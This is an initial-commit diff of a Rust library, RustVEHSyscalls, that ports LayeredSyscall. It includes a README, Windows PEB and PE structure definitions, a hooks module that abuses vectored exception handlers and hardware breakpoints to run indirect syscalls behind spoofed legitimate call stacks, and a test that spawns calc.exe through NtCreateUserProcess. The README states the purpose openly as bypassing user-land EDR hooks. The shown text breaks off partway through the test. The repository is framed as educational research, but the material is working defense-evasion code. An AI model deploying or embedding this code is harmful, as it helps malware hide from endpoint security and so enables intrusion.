initial commit

This commit is contained in:
safedv
2024-10-31 18:52:43 +01:00
commit c5ee1dc05d
9 changed files with 1341 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
/target
Generated
+58
View File
@@ -0,0 +1,58 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "libc"
version = "0.2.161"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1"
[[package]]
name = "libc-print"
version = "0.1.23"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0"
dependencies = [
"libc",
]
[[package]]
name = "ntapi"
version = "0.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4"
dependencies = [
"winapi",
]
[[package]]
name = "rust-veh-syscalls"
version = "0.1.0"
dependencies = [
"libc-print",
"ntapi",
"winapi",
]
[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
dependencies = [
"winapi-i686-pc-windows-gnu",
"winapi-x86_64-pc-windows-gnu",
]
[[package]]
name = "winapi-i686-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
[[package]]
name = "winapi-x86_64-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+18
View File
@@ -0,0 +1,18 @@
[package]
name = "rust-veh-syscalls"
version = "0.1.0"
edition = "2021"
authors = ["safedv <https://github.com/safedv>"]
[dependencies]
winapi = {version = "0.3.9", features =["winnt", "errhandlingapi", "heapapi", "winuser"]}
libc-print = { version = "0.1.23", optional = true }
[dev-dependencies]
winapi = {version = "0.3.9", features =["memoryapi"]}
ntapi = "0.4"
libc-print = "0.1.23"
[features]
default = ["debug"]
debug = ["libc-print"]
+84
View File
@@ -0,0 +1,84 @@
# RustVEHSyscalls
**RustVEHSyscalls** is a Rust-based port of the [LayeredSyscall](https://github.com/WKL-Sec/LayeredSyscall) project. This tool performs indirect syscalls while generating legitimate API call stack frames by abusing Vectored Exception Handling (VEH) to bypass user-land EDR hooks in Windows.
## How It Works
**RustVEHSyscalls** performs indirect syscalls by abusing Vectored Exception Handling (VEH) to generate legitimate API call stack frames. By calling a standard Windows API function and setting a hardware breakpoint within it, the function's call stack is captured. This breakpoint then lets VEH redirect the process to a syscall wrapper in `ntdll.dll`, preserving the original API's call stack structure. This approach enables syscalls to appear as if they originate from legitimate Windows API calls.
### Setup and Cleanup Functions
**RustVEHSyscalls** provides functions to initialize and clean up the Vectored Exception Handling environment necessary for syscall interception. These functions establish the hooks needed to capture and handle indirect syscalls, ensuring clean operation and teardown.
1. **`initialize_hooks()`**:
- Sets up two vectored exception handlers for adding and managing hardware breakpoints in the system call path. This function allocates memory for the CPU context and retrieves `ntdll.dll`'s base and end addresses for tracing purposes.
2. **`destroy_hooks()`**:
- Cleans up by removing the added vectored exception handlers.
### Syscall Wrapper
**RustVEHSyscalls** provides a `syscall!` macro that wraps several key steps:
1. **Resolving the Syscall Address and SSN**: The macro uses the **PEB** to locate `ntdll.dll` and parses its **Exception Directory** and **Export Address Table** to retrieve both the syscalls address and System Service Number (SSN).
2. **Setting Hardware Breakpoint**: Once the syscall address and SSN are resolved, the macro sets a hardware breakpoint, allowing RustVEHSyscalls to intercept the syscall execution.
3. **Invoking the Syscall**: Finally, the macro invokes the syscall with the specified parameters, completing the indirect syscall path.
## Usage
To initialize syscall interception, call `initialize_hooks()` at the start of your `main` function and `destroy_hooks()` to clean up once you're done. You can also adjust the legitimate call stack by modifying the `demofunction()` in the `hooks.rs` module.
```rust
/// Example function designed to maintain a clean call stack.
/// This function can be modified to call different legitimate Windows APIs.
pub unsafe extern "C" fn demofunction() {
MessageBoxA(null_mut(), null_mut(), null_mut(), 0);
}
```
### Example: Calling `NtCreateUserProcess`
The following example demonstrates how to invoke the `NtCreateUserProcess` syscall. Full test code is available in `lib.rs`.
```rust
fn main() {
initialize_hooks(); // Set up necessary hooks
// Initialize all necessary parameters here...
// Call NtCreateUserProcess syscall
let status = syscall!(
"NtCreateUserProcess",
OrgNtCreateUserProcess,
&mut process_handle,
&mut thread_handle,
desired_access,
desired_access,
null_mut(),
null_mut(),
0,
0,
process_parameters,
&mut create_info,
attribute_list
);
destroy_hooks(); // Clean up hooks when done
}
```
## Disclaimer
This project is intended **for educational and research purposes only**. Use it responsibly, as any misuse is solely your responsibility—not mine! Always follow ethical guidelines and legal frameworks when doing security research (and, you know, just in general).
## Credits
Special thanks to:
- [LayeredSyscall by White Knight Labs](https://github.com/WKL-Sec/LayeredSyscall) for their work.
- [Resolving System Service Numbers Using The Exception Directory by MDsec](https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/) for their insights on resolving SSNs.
## Contributing
Contributions are welcome! If you want to help improve `RustVEHSyscalls` or report bugs, feel free to open an issue or a pull request in the repository.
---
+298
View File
@@ -0,0 +1,298 @@
use core::ffi::{c_ulong, c_void};
pub const OPCODE_SUB_RSP: u32 = 0xec8348;
pub const OPCODE_RET_CC: u16 = 0xccc3;
pub const OPCODE_RET: u8 = 0xc3;
pub const OPCODE_CALL: u8 = 0xe8;
// pub const OPCODE_JMP: u8 = 0xe9;
// pub const OPCODE_JMP_LEN: usize = 8;
// pub const MAX_SEARCH_LIMIT: usize = 20;
pub const CALL_FIRST: u32 = 1;
// pub const RESUME_FLAG: u64 = 0x10000;
pub const TRACE_FLAG: u32 = 0x100;
// pub const OPCODE_SYSCALL: u16 = 0x050F;
// pub const OPCODE_SZ_DIV: u64 = 4;
pub const OPCODE_SZ_ACC_VIO: u64 = 2;
pub const FIFTH_ARGUMENT: u64 = 0x8 * 0x5;
pub const SIXTH_ARGUMENT: u64 = 0x8 * 0x6;
pub const SEVENTH_ARGUMENT: u64 = 0x8 * 0x7;
pub const EIGHTH_ARGUMENT: u64 = 0x8 * 0x8;
pub const NINTH_ARGUMENT: u64 = 0x8 * 0x9;
pub const TENTH_ARGUMENT: u64 = 0x8 * 0xa;
pub const ELEVENTH_ARGUMENT: u64 = 0x8 * 0xb;
pub const TWELVETH_ARGUMENT: u64 = 0x8 * 0xc;
#[repr(C)]
pub struct DllInfo {
pub base_address: u64,
pub end_address: u64,
}
pub const EXCEPTION_ACCESS_VIOLATION: u32 = 0xC0000005;
pub const EXCEPTION_CONTINUE_SEARCH: i32 = 0;
pub const EXCEPTION_CONTINUE_EXECUTION: i32 = -1;
pub const EXCEPTION_SINGLE_STEP: u32 = 0x80000004;
pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: usize = 3;
pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ"
pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0"
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ListEntry {
pub flink: *mut ListEntry,
pub blink: *mut ListEntry,
}
#[repr(C)]
pub struct UnicodeString {
pub length: u16,
pub maximum_length: u16,
pub buffer: *mut u16,
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct SectionPointer {
pub section_pointer: *mut c_void,
pub check_sum: c_ulong,
}
#[repr(C)]
pub union HashLinksOrSectionPointer {
pub hash_links: ListEntry,
pub section_pointer: SectionPointer,
}
#[repr(C)]
pub union TimeDateStampOrLoadedImports {
pub time_date_stamp: c_ulong,
pub loaded_imports: *mut c_void,
}
#[repr(C)]
pub struct LoaderDataTableEntry {
pub in_load_order_links: ListEntry,
pub in_memory_order_links: ListEntry,
pub in_initialization_order_links: ListEntry,
pub dll_base: *mut c_void,
pub entry_point: *mut c_void,
pub size_of_image: c_ulong,
pub full_dll_name: UnicodeString,
pub base_dll_name: UnicodeString,
pub flags: c_ulong,
pub load_count: i16,
pub tls_index: i16,
pub hash_links_or_section_pointer: HashLinksOrSectionPointer,
pub time_date_stamp_or_loaded_imports: TimeDateStampOrLoadedImports,
pub entry_point_activation_context: *mut c_void,
pub patch_information: *mut c_void,
pub forwarder_links: ListEntry,
pub service_tag_links: ListEntry,
pub static_links: ListEntry,
}
#[repr(C)]
pub struct PebLoaderData {
pub length: c_ulong,
pub initialized: c_ulong,
pub ss_handle: *mut c_void,
pub in_load_order_module_list: ListEntry,
pub in_memory_order_module_list: ListEntry,
pub in_initialization_order_module_list: ListEntry,
}
#[repr(C)]
pub struct PEB {
pub inherited_address_space: bool,
pub read_image_file_exec_options: bool,
pub being_debugged: bool,
pub spare: bool,
pub mutant: *mut c_void,
pub image_base: *mut c_void,
pub loader_data: *const PebLoaderData,
pub process_parameters: *const RtlUserProcessParameters,
pub sub_system_data: *mut c_void,
pub process_heap: *mut c_void,
pub fast_peb_lock: *mut c_void,
pub fast_peb_lock_routine: *mut c_void,
pub fast_peb_unlock_routine: *mut c_void,
pub environment_update_count: c_ulong,
pub kernel_callback_table: *const *mut c_void,
pub event_log_section: *mut c_void,
pub event_log: *mut c_void,
pub free_list: *mut c_void,
pub tls_expansion_counter: c_ulong,
pub tls_bitmap: *mut c_void,
pub tls_bitmap_bits: [c_ulong; 2],
pub read_only_shared_memory_base: *mut c_void,
pub read_only_shared_memory_heap: *mut c_void,
pub read_only_static_server_data: *const *mut c_void,
pub ansi_code_page_data: *mut c_void,
pub oem_code_page_data: *mut c_void,
pub unicode_case_table_data: *mut c_void,
pub number_of_processors: c_ulong,
pub nt_global_flag: c_ulong,
pub spare_2: [u8; 4],
pub critical_section_timeout: i64,
pub heap_segment_reserve: c_ulong,
pub heap_segment_commit: c_ulong,
pub heap_de_commit_total_free_threshold: c_ulong,
pub heap_de_commit_free_block_threshold: c_ulong,
pub number_of_heaps: c_ulong,
pub maximum_number_of_heaps: c_ulong,
pub process_heaps: *const *const *mut c_void,
pub gdi_shared_handle_table: *mut c_void,
pub process_starter_helper: *mut c_void,
pub gdi_dc_attribute_list: *mut c_void,
pub loader_lock: *mut c_void,
pub os_major_version: c_ulong,
pub os_minor_version: c_ulong,
pub os_build_number: c_ulong,
pub os_platform_id: c_ulong,
pub image_sub_system: c_ulong,
pub image_sub_system_major_version: c_ulong,
pub image_sub_system_minor_version: c_ulong,
pub gdi_handle_buffer: [c_ulong; 22],
pub post_process_init_routine: c_ulong,
pub tls_expansion_bitmap: c_ulong,
pub tls_expansion_bitmap_bits: [u8; 80],
pub session_id: c_ulong,
}
#[repr(C)]
pub struct RtlUserProcessParameters {
pub maximum_length: u32,
pub length: u32,
pub flags: u32,
pub debug_flags: u32,
pub console_handle: *mut c_void,
pub console_flags: u32,
pub standard_input: *mut c_void,
pub standard_output: *mut c_void,
pub standard_error: *mut c_void,
pub current_directory_path: UnicodeString,
pub current_directory_handle: *mut c_void,
pub dll_path: UnicodeString,
pub image_path_name: UnicodeString,
pub command_line: UnicodeString,
pub environment: *mut c_void,
pub starting_x: u32,
pub starting_y: u32,
pub count_x: u32,
pub count_y: u32,
pub count_chars_x: u32,
pub count_chars_y: u32,
pub fill_attribute: u32,
pub window_flags: u32,
pub show_window_flags: u32,
pub window_title: UnicodeString,
pub desktop_info: UnicodeString,
pub shell_info: UnicodeString,
pub runtime_data: UnicodeString,
pub current_directories: [UnicodeString; 32],
pub environment_size: u32,
pub environment_version: u32,
pub package_dependency_data: *mut c_void,
pub process_group_id: u32,
pub loader_threads: u32,
}
#[repr(C)]
pub struct ImageDosHeader {
pub e_magic: u16,
pub e_cblp: u16,
pub e_cp: u16,
pub e_crlc: u16,
pub e_cparhdr: u16,
pub e_minalloc: u16,
pub e_maxalloc: u16,
pub e_ss: u16,
pub e_sp: u16,
pub e_csum: u16,
pub e_ip: u16,
pub e_cs: u16,
pub e_lfarlc: u16,
pub e_ovno: u16,
pub e_res: [u16; 4],
pub e_oemid: u16,
pub e_oeminfo: u16,
pub e_res2: [u16; 10],
pub e_lfanew: i32,
}
#[repr(C)]
pub struct ImageFileHeader {
pub machine: u16,
pub number_of_sections: u16,
pub time_date_stamp: u32,
pub pointer_to_symbol_table: u32,
pub number_of_symbols: u32,
pub size_of_optional_header: u16,
pub characteristics: u16,
}
#[repr(C)]
pub struct ImageDataDirectory {
pub virtual_address: u32,
pub size: u32,
}
#[repr(C)]
pub struct ImageExportDirectory {
pub characteristics: u32,
pub time_date_stamp: u32,
pub major_version: u16,
pub minor_version: u16,
pub name: u32,
pub base: u32,
pub number_of_functions: u32,
pub number_of_names: u32,
pub address_of_functions: u32,
pub address_of_names: u32,
pub address_of_name_ordinals: u32,
}
#[cfg(target_arch = "x86_64")]
#[repr(C)]
pub struct ImageNtHeaders {
pub signature: u32,
pub file_header: ImageFileHeader,
pub optional_header: ImageOptionalHeader64,
}
#[cfg(target_arch = "x86_64")]
#[repr(C)]
pub struct ImageOptionalHeader64 {
pub magic: u16,
pub major_linker_version: u8,
pub minor_linker_version: u8,
pub size_of_code: u32,
pub size_of_initialized_data: u32,
pub size_of_uninitialized_data: u32,
pub address_of_entry_point: u32,
pub base_of_code: u32,
pub image_base: u64,
pub section_alignment: u32,
pub file_alignment: u32,
pub major_operating_system_version: u16,
pub minor_operating_system_version: u16,
pub major_image_version: u16,
pub minor_image_version: u16,
pub major_subsystem_version: u16,
pub minor_subsystem_version: u16,
pub win32_version_value: u32,
pub size_of_image: u32,
pub size_of_headers: u32,
pub check_sum: u32,
pub subsystem: u16,
pub dll_characteristics: u16,
pub size_of_stack_reserve: u64,
pub size_of_stack_commit: u64,
pub size_of_heap_reserve: u64,
pub size_of_heap_commit: u64,
pub loader_flags: u32,
pub number_of_rva_and_sizes: u32,
pub data_directory: [ImageDataDirectory; 16],
}
+366
View File
@@ -0,0 +1,366 @@
use winapi::um::errhandlingapi::{AddVectoredExceptionHandler, RemoveVectoredExceptionHandler};
use winapi::um::heapapi::{GetProcessHeap, HeapAlloc};
use winapi::um::winnt::{CONTEXT, EXCEPTION_POINTERS, HEAP_ZERO_MEMORY};
use winapi::um::winuser::MessageBoxA;
use core::ptr;
use core::ptr::null_mut;
#[cfg(feature = "debug")]
use libc_print::libc_println;
use crate::debug_println;
use crate::def::{
DllInfo, CALL_FIRST, EIGHTH_ARGUMENT, ELEVENTH_ARGUMENT, EXCEPTION_ACCESS_VIOLATION,
EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_SINGLE_STEP, FIFTH_ARGUMENT,
NINTH_ARGUMENT, OPCODE_CALL, OPCODE_RET, OPCODE_RET_CC, OPCODE_SUB_RSP, OPCODE_SZ_ACC_VIO,
SEVENTH_ARGUMENT, SIXTH_ARGUMENT, TENTH_ARGUMENT, TRACE_FLAG, TWELVETH_ARGUMENT,
};
use crate::utils::ldr_module_info;
static mut OPCODE_SYSCALL_OFF: u64 = 0;
static mut OPCODE_SYSCALL_RET_OFF: u64 = 0;
static mut SAVED_CONTEXT: *mut CONTEXT = core::ptr::null_mut();
static mut SYSCALL_ENTRY_ADDRESS: u64 = 0;
static mut IS_SUB_RSP: i32 = 0;
static mut SYSCALL_NO: u32 = 0;
static mut EXTENDED_ARGS: bool = false;
static mut NTDLL_INFO: DllInfo = DllInfo {
base_address: 0,
end_address: 0,
};
static mut H1: *mut winapi::ctypes::c_void = ptr::null_mut();
static mut H2: *mut winapi::ctypes::c_void = ptr::null_mut();
/// Example function designed to maintain a clean call stack.
/// This function can be modified to call different legitimate Windows APIs.
pub unsafe extern "C" fn demofunction() {
MessageBoxA(null_mut(), null_mut(), null_mut(), 0);
}
/// Initializes the `DllInfo` struct with `ntdll.dll`'s base and end addresses by accessing the PEB and
/// locating the module using its DJB2 hash (0x1edab0ed).
pub fn initialize_dll_info(obj: &mut DllInfo) {
let (base_addr, size_of_image) = unsafe { ldr_module_info(0x1edab0ed) };
obj.base_address = base_addr as u64;
obj.end_address = unsafe { base_addr.add(size_of_image) } as u64;
}
/// Adds hardware breakpoints at the syscall entry and return addresses.
///
/// This function is triggered when an `EXCEPTION_ACCESS_VIOLATION` occurs. It identifies the syscall
/// opcode by scanning the instruction pointer (Rcx) for the `syscall` instruction, then sets
/// hardware breakpoints (Dr0 and Dr1) at the syscall entry and return addresses, allowing for
/// interception and manipulation of the syscall.
#[no_mangle]
unsafe extern "system" fn AddHwBp(exception_info: *mut EXCEPTION_POINTERS) -> i32 {
let exception_info = &*exception_info;
// Check if the exception is an access violation
if (*exception_info.ExceptionRecord).ExceptionCode == EXCEPTION_ACCESS_VIOLATION {
// Set the syscall entry address to the current RCX register value
SYSCALL_ENTRY_ADDRESS = (*exception_info.ContextRecord).Rcx;
// Scan for the syscall opcode (0x0F 0x05) in the instruction sequence
for i in 0..25 {
if ptr::read((SYSCALL_ENTRY_ADDRESS + i) as *const u8) == 0x0F
&& ptr::read((SYSCALL_ENTRY_ADDRESS + i + 1) as *const u8) == 0x05
{
OPCODE_SYSCALL_OFF = i as u64;
OPCODE_SYSCALL_RET_OFF = i as u64 + 2;
break;
}
}
// Set Dr0 to the syscall entry address and enable the hardware breakpoint
(*exception_info.ContextRecord).Dr0 = SYSCALL_ENTRY_ADDRESS;
(*exception_info.ContextRecord).Dr7 |= 1 << 0;
// Set Dr1 to monitor the syscall return address
(*exception_info.ContextRecord).Dr1 = SYSCALL_ENTRY_ADDRESS + OPCODE_SYSCALL_RET_OFF;
(*exception_info.ContextRecord).Dr7 |= 1 << 2;
(*exception_info.ContextRecord).Rip += OPCODE_SZ_ACC_VIO;
debug_println!(
"[*] Hardware Breakpoint added at address {:#x} (syscall)",
(*exception_info.ContextRecord).Dr0
);
debug_println!(
"[*] Hardware Breakpoint added at address {:#x} (ret)",
(*exception_info.ContextRecord).Dr1
);
return EXCEPTION_CONTINUE_EXECUTION;
}
EXCEPTION_CONTINUE_SEARCH
}
/// Handles hardware breakpoints and single-step exceptions for syscall interception.
///
/// This function is triggered by `EXCEPTION_SINGLE_STEP` and checks for two key conditions:
/// 1. A hit on the syscall entry breakpoint (Dr0).
/// 2. A hit on the syscall return breakpoint (Dr1).
/// Additionally, it traces and handles the instruction flow within `ntdll.dll`, emulating
/// syscalls and restoring context as necessary.
///
/// - Clears and disables hardware breakpoints when hit.
/// - Saves and restores context for syscall interception.
/// - Emulates syscalls by manipulating the instruction pointer (Rip) and registers.
#[allow(static_mut_refs)]
#[no_mangle]
unsafe extern "system" fn HandlerHwBp(exception_info: *mut EXCEPTION_POINTERS) -> i32 {
let exception_info = &*exception_info;
// Check if the exception is due to a single-step event (hardware breakpoint hit)
if (*exception_info.ExceptionRecord).ExceptionCode == EXCEPTION_SINGLE_STEP {
// Handle syscall hardware breakpoint (entry point)
if (*exception_info.ExceptionRecord).ExceptionAddress
== (SYSCALL_ENTRY_ADDRESS as *mut winapi::ctypes::c_void)
{
debug_println!(
"[*] Hardware Breakpoint hit at {:#x} (syscall)",
(*exception_info.ContextRecord).Rip
);
debug_println!("[*] Storing Context");
// Disable Dr0 (syscall entry breakpoint)
(*exception_info.ContextRecord).Dr0 = 0;
(*exception_info.ContextRecord).Dr7 &= !(1 << 0);
// Save the current CPU context
ptr::copy_nonoverlapping(exception_info.ContextRecord, SAVED_CONTEXT, 1);
// Redirect execution to a demo function after storing the context
(*exception_info.ContextRecord).Rip = demofunction as u64;
// Set the trace flag to continue tracing
(*exception_info.ContextRecord).EFlags |= TRACE_FLAG;
return EXCEPTION_CONTINUE_EXECUTION;
}
// Handle syscall return (Dr1 breakpoint)
else if (*exception_info.ExceptionRecord).ExceptionAddress
== (SYSCALL_ENTRY_ADDRESS + OPCODE_SYSCALL_RET_OFF) as *mut winapi::ctypes::c_void
{
debug_println!(
"[*] Hardware Breakpoint hit at {:#x} (ret)",
(*exception_info.ContextRecord).Rip
);
debug_println!("[*] Restoring stack pointer");
// Disable Dr1 (return breakpoint)
(*exception_info.ContextRecord).Dr1 = 0;
(*exception_info.ContextRecord).Dr7 &= !(1 << 2);
// Restore the saved stack pointer
(*exception_info.ContextRecord).Rsp = (*SAVED_CONTEXT).Rsp;
return EXCEPTION_CONTINUE_EXECUTION;
}
// Handle tracing within `ntdll.dll`
else if (*exception_info.ContextRecord).Rip >= NTDLL_INFO.base_address
&& (*exception_info.ContextRecord).Rip <= NTDLL_INFO.end_address
{
// Look for a "sub rsp" instruction to detect the stack frame
if IS_SUB_RSP == 0 {
for i in 0..80 {
let opcode_ret_cc =
ptr::read(((*exception_info.ContextRecord).Rip + i as u64) as *const u16);
if opcode_ret_cc == OPCODE_RET_CC {
break;
}
let opcode_sub_rsp =
ptr::read(((*exception_info.ContextRecord).Rip + i as u64) as *const u32);
if (opcode_sub_rsp & 0xffffff) == OPCODE_SUB_RSP {
if (opcode_sub_rsp >> 24) >= 0x58 {
// Stack frame detected
IS_SUB_RSP = 1;
(*exception_info.ContextRecord).EFlags |= TRACE_FLAG;
return EXCEPTION_CONTINUE_EXECUTION;
} else {
break;
}
}
}
}
// Wait for a "call" instruction to continue processing
if IS_SUB_RSP == 1 {
let rip_value = ptr::read((*exception_info.ContextRecord).Rip as *const u16);
if rip_value == OPCODE_RET_CC || rip_value as u8 == OPCODE_RET {
IS_SUB_RSP = 0;
} else if rip_value as u8 == OPCODE_CALL {
IS_SUB_RSP = 2;
(*exception_info.ContextRecord).EFlags |= TRACE_FLAG;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
// Handle stack frame and call instruction
if IS_SUB_RSP == 2 {
IS_SUB_RSP = 0;
debug_println!(
"[*] Inside ntdll after setting Trace Flag at {:#x} ({:#x})",
(*exception_info.ContextRecord).Rip,
(*exception_info.ContextRecord).Rip - NTDLL_INFO.base_address
);
debug_println!(
"[*] Generating stack & invoking intended syscall (ssn: {:#x})",
SYSCALL_NO
);
// Save the current RSP (stack pointer)
let temp_rsp = (*exception_info.ContextRecord).Rsp;
ptr::copy_nonoverlapping(
SAVED_CONTEXT,
exception_info.ContextRecord as *mut CONTEXT,
1,
);
(*exception_info.ContextRecord).Rsp = temp_rsp;
// Emulate the syscall by setting registers and instruction pointer
(*exception_info.ContextRecord).R10 = (*exception_info.ContextRecord).Rcx;
(*exception_info.ContextRecord).Rax = SYSCALL_NO as u64;
(*exception_info.ContextRecord).Rip = SYSCALL_ENTRY_ADDRESS + OPCODE_SYSCALL_OFF;
// Handles extended arguments for syscalls with more than 4 up to a maximum of 12 arguments.
if EXTENDED_ARGS {
let saved_rsp = (*SAVED_CONTEXT).Rsp;
ptr::copy_nonoverlapping(
(saved_rsp + FIFTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + FIFTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + SIXTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + SIXTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + SEVENTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + SEVENTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + EIGHTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + EIGHTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + NINTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + NINTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + TENTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + TENTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + ELEVENTH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + ELEVENTH_ARGUMENT) as *mut u64,
1,
);
ptr::copy_nonoverlapping(
(saved_rsp + TWELVETH_ARGUMENT) as *const u64,
((*exception_info.ContextRecord).Rsp + TWELVETH_ARGUMENT) as *mut u64,
1,
);
}
// Clear the trace flag after handling the syscall
(*exception_info.ContextRecord).EFlags &= !TRACE_FLAG;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
// Continue tracing
(*exception_info.ContextRecord).EFlags |= TRACE_FLAG;
return EXCEPTION_CONTINUE_EXECUTION;
}
EXCEPTION_CONTINUE_SEARCH
}
/// Initializes the necessary hooks for syscall interception.
///
/// This function sets up two vectored exception handlers (`AddHwBp` and `HandlerHwBp`) for adding
/// and handling hardware breakpoints. It allocates memory for saving the CPU context and initializes
/// information about `ntdll.dll` (base address and end address) for use in syscall tracing.
#[allow(static_mut_refs)]
pub fn initialize_hooks() {
unsafe {
// Add vectored exception handlers for system call handling
H1 = AddVectoredExceptionHandler(CALL_FIRST, Some(AddHwBp));
H2 = AddVectoredExceptionHandler(CALL_FIRST, Some(HandlerHwBp));
// Allocate memory for saving the CPU context during exception handling
SAVED_CONTEXT = HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
core::mem::size_of::<CONTEXT>(),
) as *mut CONTEXT;
// Initialize ntdll.dll base and end addresses for syscall tracing
initialize_dll_info(&mut NTDLL_INFO);
debug_println!("[*] Hooks initialized successfully");
debug_println!("[*] Ntdll Start Address: {:#x}", NTDLL_INFO.base_address);
debug_println!("[*] Ntdll End Address: {:#x}", NTDLL_INFO.end_address);
}
}
/// Cleans up the exception hooks by removing the previously added handlers.
///
/// This function checks if the exception handlers (`H1` and `H2`) were added, and if so,
/// it removes them using `RemoveVectoredExceptionHandler`.
pub fn destroy_hooks() {
debug_println!("\n\n[*] Cleaning up the hooks");
unsafe {
if !H1.is_null() {
RemoveVectoredExceptionHandler(H1);
}
if !H2.is_null() {
RemoveVectoredExceptionHandler(H2);
}
}
}
/// This function triggers an access violation exception to force the system to raise an exception.
#[allow(unused_variables)]
pub fn set_hw_bp(func_address: usize, flag: i32, ssn: u32) {
unsafe {
EXTENDED_ARGS = flag != 0;
SYSCALL_NO = ssn;
trigger_access_violation_exception();
}
}
/// This function dereferences a null pointer, which causes an access violation and is used to
/// invoke the previously set vectored exception handlers.
fn trigger_access_violation_exception() {
unsafe {
let a: *mut i32 = 0 as *mut i32;
let _b = *a;
}
}
+187
View File
@@ -0,0 +1,187 @@
#![no_std]
pub mod def;
pub mod hooks;
pub mod syscall;
pub mod utils;
pub use crate::hooks::set_hw_bp;
pub use crate::syscall::get_ssn_by_name;
pub use crate::utils::dbj2_hash;
#[cfg(test)]
mod tests {
extern crate alloc;
use crate::debug_println;
use crate::hooks::{destroy_hooks, initialize_hooks};
use crate::syscall;
use core::iter::once;
use core::ptr::null_mut;
use libc_print::libc_println;
use winapi::shared::basetsd::ULONG_PTR;
use winapi::shared::ntdef::{HANDLE, OBJECT_ATTRIBUTES, UNICODE_STRING};
use winapi::um::handleapi::CloseHandle;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::winnt::PROCESS_ALL_ACCESS;
use ntapi::ntpsapi::{
PsCreateInitialState, PS_ATTRIBUTE, PS_ATTRIBUTE_IMAGE_NAME, PS_ATTRIBUTE_LIST,
PS_CREATE_INFO,
};
use ntapi::ntrtl::{
RtlCreateProcessParametersEx, RtlInitUnicodeString, RTL_USER_PROCESS_PARAMETERS,
};
#[test]
fn test_nt_create_user_process() {
libc_println!("[*] Program Started");
// Initialize hooks
initialize_hooks();
// Set up UNICODE_STRING for the image path
let mut image_path: alloc::vec::Vec<u16> = "\\??\\C:\\Windows\\System32\\calc.exe"
.encode_utf16()
.chain(once(0))
.collect();
let mut nt_image_path: UNICODE_STRING = UNICODE_STRING {
Length: (image_path.len() as u16 - 1) * 2,
MaximumLength: image_path.len() as u16 * 2,
Buffer: image_path.as_mut_ptr(),
};
unsafe { RtlInitUnicodeString(&mut nt_image_path, image_path.as_ptr()) };
// Create the process parameters
let mut process_parameters: *mut RTL_USER_PROCESS_PARAMETERS = null_mut();
let status = unsafe {
RtlCreateProcessParametersEx(
&mut process_parameters,
&mut nt_image_path,
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
null_mut(),
0x01,
)
};
assert_eq!(status, 0, "Failed to create process parameters");
// Initialize the PS_CREATE_INFO structure
let mut create_info: PS_CREATE_INFO = unsafe { core::mem::zeroed() };
create_info.Size = core::mem::size_of::<PS_CREATE_INFO>();
create_info.State = PsCreateInitialState;
// Calculate the correct size for the PS_ATTRIBUTE_LIST
let attribute_list_size =
core::mem::size_of::<PS_ATTRIBUTE_LIST>() + core::mem::size_of::<PS_ATTRIBUTE>();
let attribute_list: *mut PS_ATTRIBUTE_LIST = unsafe {
VirtualAlloc(
null_mut(),
attribute_list_size,
winapi::um::winnt::MEM_COMMIT | winapi::um::winnt::MEM_RESERVE,
winapi::um::winnt::PAGE_READWRITE,
)
} as *mut PS_ATTRIBUTE_LIST;
assert!(
!attribute_list.is_null(),
"Failed to allocate memory for PS_ATTRIBUTE_LIST"
);
// Populate the PS_ATTRIBUTE_LIST
unsafe {
(*attribute_list).TotalLength = core::mem::size_of::<PS_ATTRIBUTE_LIST>();
(*attribute_list).Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
(*attribute_list).Attributes[0].Size = nt_image_path.Length as usize;
(*attribute_list).Attributes[0].u.Value = nt_image_path.Buffer as ULONG_PTR;
}
let mut process_handle: HANDLE = null_mut();
let mut thread_handle: HANDLE = null_mut();
let desired_access = PROCESS_ALL_ACCESS;
// Call NtCreateUserProcess
let status = syscall!(
"NtCreateUserProcess",
OrgNtCreateUserProcess,
